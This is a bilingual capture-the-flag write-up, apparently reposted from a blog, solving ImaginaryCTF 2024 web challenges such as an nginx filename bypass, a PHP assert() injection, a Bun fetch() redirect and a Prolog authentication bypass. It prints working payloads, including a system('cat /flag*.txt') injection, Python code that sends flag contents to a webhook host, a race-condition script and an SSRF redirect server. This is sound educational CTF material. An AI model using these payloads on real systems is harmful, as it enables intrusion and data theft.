ImaginaryCTF 2024 [WEB]

WriteUp 2个月前 admin
50 0 0

All of the challenge archives can be found here
所有的挑战档案可以在这里找到

readme

ImaginaryCTF 2024 [WEB]

Looking at NGINX default.conf, if the file exists in the server it will give the user 404 Error
看看NGINX default.conf ,如果文件存在于服务器中,它将给用户 404 Error

1
2
3
4
5
6
7
8
9
10
11
12
server {
    listen       80 default_server;
    listen  [::]:80;
    root /app/public;

    location / {
        if (-f $request_filename) {
            return 404;
        }
        proxy_pass http://localhost:8000;
    }
}

The location of flag located in the same folder as index.html named flag.txt. Browsing directly the WEB URL, will give the user the following response.
标志的位置位于与 index.html 相同的文件夹中,名为 flag.txt 。直接浏览WEB URL,会给用户以下回复。

1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl http://readme.chal.imaginaryctf.org/
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>Hello World</title>
	</head>
	<body>
		It works!
	</body>
</html> 

Accessing, flag.txt or index.html will give 404 Error
flag.txt 或 index.html 将给出 404 Error

1
2
3
4
5
6
7
8
└─$ curl http://readme.chal.imaginaryctf.org/index.html
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>

How can we bypass this? Atleast we know the version of the NGINX used is 1.22.1. Searching for request_filename in the NGINX configuration file led us to this Hacktricks : Proxy Protections Bypass article.
我们怎么能绕过这个?至少我们知道使用的NGINX版本是 1.22.1 。在NGINX配置文件中搜索 request_filename ,我们找到了这篇Hacktricks:Proxy Protections Bypass文章。

ImaginaryCTF 2024 [WEB]

Either using Burp or use a simple netcat method as shown below to get the flag.
使用Burp或使用下面所示的简单netcat方法来获取标志。

1
2
└─$ echo -e "GET /flag.txt\xA0\x0aHTTP/1.1" | nc readme.chal.imaginaryctf.org 80            
ictf{path_normalization_to_the_res

Flag: ictf{path_normalization_to_the_res 标记: ictf{path_normalization_to_the_res

journal 杂志

ImaginaryCTF 2024 [WEB]

When I read the index.php, there is one line that catch my eyes
当我读到 index.php 时,有一行吸引了我的眼球

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  // This line look suspicious?
  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

Our input directly used in the assert() function. Won’t that be dangerous? After try and error we can read the flag with the following payload
我们的输入直接用于 assert() 函数。那不是很危险吗在尝试和错误之后,我们可以读取具有以下有效负载的标志

1
2
3
4
5
# URL Encoded
test%27,%27..%27)%20or%20die(system(%27cat%20/flag*.txt%27));//

# Original 
test','..') or die(system('cat /flag*.txt'));//

ImaginaryCTF 2024 [WEB]

Flag: ictf{assertion_failed_e3106922feb13b10} 标记: ictf{assertion_failed_e3106922feb13b10}

P2C

ImaginaryCTF 2024 [WEB]

I feel that my solution for this challenge is unintended. By using local environment, I noticed that it’s possible to execute python code. If we insert print(1).
我觉得我对这个挑战的解决方案是无意的。通过使用本地环境,我注意到可以执行python代码。如果我们插入 print(1) 。

ImaginaryCTF 2024 [WEB]

The following temporary file with code*.py will be created in /tmp/uploads directory.
以下带有 code*.py 的临时文件将在 /tmp/uploads 目录中创建。

ImaginaryCTF 2024 [WEB]

Since we are able to inject any python code in main() function. We just need to create a payload that will send us back the flag.txt content. But the docker environment did not include wget or curl. So, I used curl static binary to exfiltrate flag.txt
因为我们可以在 main() 函数中注入任何Python代码。我们只需要创建一个payload,它会将 flag.txt 内容发送给我们。但是Docker环境并不包括 wget 或 curl 。所以,我使用curl静态二进制文件来exfilter flag.txt

1
2
3
4
import base64,os
curl_content=b"<BASE64_CURL_CONTENT"
open("/tmp/curl","wb").write(curl_content)
os.system("chmod +x /tmp/curl;/tmp/curl https://<WEBHOOK_SERVER>/?content=`cat flag.txt |base64 -w0`")

ImaginaryCTF 2024 [WEB]

NOTES: Actually urllib library can be use also xD
注:实际上urllib库也可以使用XD

1
2
3
4
5
6
7
8
9
# POST Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/',data=open("flag.txt","r"),method='POST')
urlopen(httprequest)

# GET Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/?='+open("flag.txt","r").read())
urlopen(httprequest)

Flag: ictf{d1_color_picker_fr_2ce0dd3d} 标记: ictf{d1_color_picker_fr_2ce0dd3d}

crystal 晶体

ImaginaryCTF 2024 [WEB]

This is a web challenge with Ruby framework. Interestingly, there is not much in app.rb
这是Ruby框架的一个Web挑战。有趣的是, app.rb 中没有太多

1
2
3
4
5
6
require 'sinatra'

# Route for the index page
get '/' do
  erb :index
end

The flag not located in usual place but embedded in the hostname.
国旗不在通常的位置,而是嵌入 hostname 。

1
2
3
4
5
6
7
version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

How could we possibly get the hostname from the web? Is it possible that we could get the hostname through error page or invalid page? By sending a random path, we get the following page.
我们怎么可能从网络上得到 hostname 呢?有没有可能通过错误页面或无效页面获取主机名?通过发送一个随机路径,我们得到以下页面。

ImaginaryCTF 2024 [WEB]

By sending a POST request, we get the following response.
通过发送POST请求,我们得到以下响应。

1
2
3
4
5
└─$ curl -XPOST http://crystals.chal.imaginaryctf.org                                              
WEBrick::HTTPStatus::LengthRequired: WEBrick::HTTPStatus::LengthRequired
	/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:530:in `read_body'
	/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:257:in `body'
	/var/lib/gems/3.0.0/gems/rackup-2.1.0/lib/rackup/handler/webrick.rb:67:in `block in initialize'

What if we send all special characters and see if we could get different response? I use the following script and identify few characters that could get us the flag!
如果我们发送所有的特殊字符,看看是否能得到不同的响应呢?我使用下面的脚本,并确定几个字符,可以让我们的旗帜!

1
2
3
4
5
6
7
8
9
10
11
# Script
for chars in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '-' '=' '+' '[' ']' '{' '}' ';' ':' '"' "'" '<' '>' ',' '.' '/' '?' '\\' '|' '`'; do echo $chars;echo;curl -ks "http://crystals.chal.imaginaryctf.org/"$chars| grep -i ictf;done

# Characters with Bad URI 
^
"
<
>
\
|
`

Flag: ictf{seems_like_you_broke_it_pretty_bad_76a87694} 标记: ictf{seems_like_you_broke_it_pretty_bad_76a87694}

The Amazing Race 极速前进

ImaginaryCTF 2024 [WEB]

To get the source code, we need to hit the following endpoints:
要获取源代码,我们需要访问以下端点:

maze.py    = /maze
app.py     = /source
Dockerfile = /docker

It took me a while to understand the code, but atleast we know how to get the flag. From app.py, the solved variable will be use to determine if we can get the flag or not
我花了一段时间才理解代码,但至少我们知道如何得到标志。从 app.py 开始,将使用 solved 变量来确定我们是否可以获得标志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MAZE_SIZE = 35

@app.route("/<mazeId>")
def index(mazeId):
    if not mazeId:
        return redirect(f"/{createMaze()}")
    # if our maze ID location equal to this value we can get the flag
    # getloc(mazeId) == (34,34)
    solved=getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1)
    return render_template("maze.html", 
        maze=getMaze(mazeId), 
        mazeId=mazeId,
        flag=open("flag.txt").read() if solved else ""
    )

But looking at the maze page, we probably need to find a way to get into F.
但是看看迷宫页面,我们可能需要找到一种进入F的方法。

ImaginaryCTF 2024 [WEB]

The neighbour of F will be sets to #.
F的邻居将被设置为 # 。

1
2
3
4
5
def gen(self):
    ...
    self.set(*([self.size-1]*self.dim), val='F')
    for i in self.neighbors(*([self.size-1]*self.dim)):
        self.set(*i, val='#')

I tried to solve the maze using python but actually that’s not the right path because of the above restrictions :’) Thanks @vicevirus and @zx for finding the right path! It’s related to race condition attack.
我尝试使用 python 解决迷宫,但实际上这不是正确的路径,因为上述限制:’)感谢@vicevirus和@zx找到正确的路径!这与竞争条件攻击有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import sys,requests,threading
from bs4 import BeautifulSoup as bs
import time

# Global Variables
TARGET = "http://the-amazing-race.chal.imaginaryctf.org/"
TARGET_MOVE = "http://the-amazing-race.chal.imaginaryctf.org/move"
MAZE_ID = ""

# Function : getMaze()
def getMaze():
    resp = requests.get(TARGET,verify=False)
    soup=bs(resp.text, 'html.parser')
    maze = soup.find('code').text.strip()
    mazeid = resp.url.split("/")[-1]
    return maze,mazeid

def getCurrentMaze():
    resp = requests.get(TARGET,verify=False)
    soup=bs(resp.text, 'html.parser')
    maze = soup.find('code').text.strip()
    return maze

def moveDown():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Down":"Down"},params = {'id': MAZE_ID,'move': 'down'})

def moveRight():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Right":"Right"},params = {'id': MAZE_ID,'move': 'right'})

def moveLeft():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Left":"Left"},params = {'id': MAZE_ID,'move': 'left'})

def moveUp():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Up":"Up"},params = {'id': MAZE_ID,'move': 'up'})


if __name__ == "__main__":
    # Get Maze
    maze,MAZE_ID = getMaze()
    TARGET = TARGET+MAZE_ID
    print(maze)
    print()

    while ("ictf" not in requests.get(TARGET,verify=False).text):
        before = getCurrentMaze()
        # Race down
        for i in range(10):
            th = threading.Thread(target=moveDown, args=())
            th.start()

        # Race right
        for i in range(10):
            th = threading.Thread(target=moveRight, args=())
            th.start()

        after = getCurrentMaze()
        if before == after:
            moveLeft()
            moveUp()
            print(getCurrentMaze())    
            print()
        else:
            print(getCurrentMaze())    
            print()
    
    print(requests.get(TARGET,verify=False).text)

ImaginaryCTF 2024 [WEB]

NOTES: After the event I read some articles related to Database Race Conditions. You can find the article below
注:活动结束后,我读了一些与数据库竞赛条件相关的文章。您可以在下面找到文章

Link: https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0
网址:https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0

Flag : ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st} 标记: ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}

readme2

ImaginaryCTF 2024 [WEB]

This challenge using Bun to create a HTTP server.
这个挑战使用 Bun 来创建一个HTTP服务器。

ImaginaryCTF 2024 [WEB]

There are two (2) ports involved which are 3000 (internal) and 4000 (external). There are few restrictions in here that could restrict the user from adding any flag keywords in URL or HTTP Headers. To get the flag, the user need to send a request to /flag.txt on port 3000.
涉及两(2)个端口,即 3000 (internal) 和 4000 (external) 。这里有一些限制,可以限制用户在URL或HTTP头中添加任何 flag 关键字。要获取标记,用户需要在端口 3000 上向 /flag.txt 发送请求。

There is one interesting line that catch my eyes.
有一句话很有意思,吸引了我的目光。

1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
    method: req.method,
    headers: req.headers,
    body: req.body
})

Searching around, I discovered this article by Mizu. Reading through the writeup, the payload that he used was \\127.0.0.1\a. When I put \\google.com it redirected to official Google website.
四处搜寻,我发现了Mizu的这篇文章。通过阅读,他使用的有效载荷是 \\127.0.0.1\a 。当我把 \\google.com 它重定向到官方谷歌网站。

ImaginaryCTF 2024 [WEB]

At first, I got no clue for the next steps. But, thanks to @vicevirus hints the solution would be to utilize fetch() redirection.
一开始,我对接下来的步骤毫无头绪。但是,感谢@vicevirus的提示,解决方案将是利用 fetch() 重定向。

ImaginaryCTF 2024 [WEB]

For this, we may need to setup a HTTP server that will redirect to http://localhost:3000/flag.txt
为此,我们可能需要设置一个HTTP服务器,将重定向到 http://localhost:3000/flag.txt

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return redirect("http://localhost:3000/flag.txt")	

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

Then, send the payload as shown in the picture.
然后,如图所示发送有效载荷。

ImaginaryCTF 2024 [WEB]

Flag: ictf{just_a_funny_bug_in_bun_http_handling} 标记: ictf{just_a_funny_bug_in_bun_http_handling}

Pwning en Logique

ImaginaryCTF 2024 [WEB]

For this challenge, I didn’t manage to solve it during the event. But for learning purpose, let’s go through together from what have been discussed in the Official discord server.
对于这个挑战,我没有设法解决它在活动期间。但为了学习的目的,让我们一起从官方不和服务器中讨论的内容开始。

FORMAT STRING VULNERABILITY
格式字符串漏洞

Looking at the greet, there is a usage of format() function.
看看 greet ,有一个 format() 函数的用法。

1
2
3
4
5
6
7
8
greet(Request) :-
    http_session_data(username(Username)),
    http_parameters(Request, [
        greeting(Greeting, [default('Hello')]),
        format(Format, [default('~w, ~w!')])
    ]),
    content_type,
    format(Format, [Greeting, Username]).

If we use the default creds guest:guest and access /greet we will get the following response.
如果我们使用默认的creds guest:guest 和access /greet ,我们将得到以下响应。

ImaginaryCTF 2024 [WEB]

Im not familiar with prolog but actually there are two (2) HTTP parameters that we can use greeting and format.
我不熟悉 prolog ,但实际上有两个(2)HTTP参数,我们可以使用 greeting 和 format 。

ImaginaryCTF 2024 [WEB]

But is there anything that we could abused from these parameters? At the end our input will go through the following code:
但是,我们是否可以从这些参数中滥用任何东西?最后,我们的输入将经过以下代码:

1
2
3
4
5
# Original
format(Format, [Greeting, Username])

# Input: greeting=Hello, format='~w, ~w!'
format('~w, ~w!', ['Hello', 'guest'])

More information about format string can be found in here. I noticed that the error of using “~@” will call a prologue predicate.
有关格式字符串的更多信息可以在这里找到。我注意到使用“~@”的错误将调用序言谓词。

Unknown procedure: test123/0

ImaginaryCTF 2024 [WEB]

Maybe we need to find prologue predicate that ends with /0? Searching around, I found this and this page. Try and error, I found a good candidate that can be use to get our flag!
也许我们需要找到以 /0 结尾的prologue谓词?我四处寻找,找到了这个和这个页面。尝试和错误,我发现了一个很好的候选人,可以用来得到我们的旗帜!

edit/0 == will open the editor of server.pl locally (Cannot use remotely I guess?)

listing/0 == lists all predicates defined 

Link to listing/0 predicate: https://www.swi-prolog.org/pldoc/man?predicate=listing/0
链接到列表/0谓词:https://www.swi-prolog.org/pldoc/man?谓词=列表/0

ImaginaryCTF 2024 [WEB]

ARBITRARY CONTENT-TYPE 任意内容类型

Another solution discussed in the discord server is not related to format string issue. I found some good reference in here
discord服务器中讨论的另一个解决方案与格式字符串问题无关。我在这里找到了一些很好的参考资料

If we look into login function, there is no content-type restrictions in here as well as the usage of member() to check the Users list.
如果我们研究一下 login 函数,这里没有 content-type 限制,也没有使用 member() 来检查用户列表。

1
2
3
4
5
6
7
8
9
10
11
12
login(Request) :-
    member(method(post), Request),
    http_read_data(Request, Data, []),
    ((
        member(username=Username, Data),
        member(password=Password, Data),
        users(Users),
        member(Username=Password, Users),
        http_session_retractall(_OldUsername),
        http_session_assert(username(Username)),
        http_redirect(see_other, '/greet', Request)
    );

By sending the following request, I assumed (I’m not really sure.. Could be wrong) it will use with the following check
通过发送以下请求,我假设(我不是很确定)。可能是错误的),它将与以下检查一起使用

1
2
3
4
member(guest='password',[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).

# Result
false.

ImaginaryCTF 2024 [WEB]

But if we use content type application/x-prolog, we could set the password to uninitialized variable. This will let us to bypass the authentication as it will always set to true.
但是如果我们使用内容类型 application/x-prolog ,我们可以将密码设置为未初始化的变量。这将允许我们绕过身份验证,因为它将始终设置为true。

1
2
3
4
member(guest=Unknownvariable,[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).

# Result
Unknownvariable = guest . (true?)

With this in knowledge, we could send the following data to login as admin and get the flag.
有了这些知识,我们可以发送以下数据以管理员身份登录并获取标志。

[username=admin,password=Unknownvariable].

ImaginaryCTF 2024 [WEB]

ImaginaryCTF 2024 [WEB]

原文始发于H0j3n:ImaginaryCTF 2024 [WEB]

版权声明:admin 发表于 2024年7月23日 上午9:42。
转载请注明:ImaginaryCTF 2024 [WEB] | CTF导航

相关文章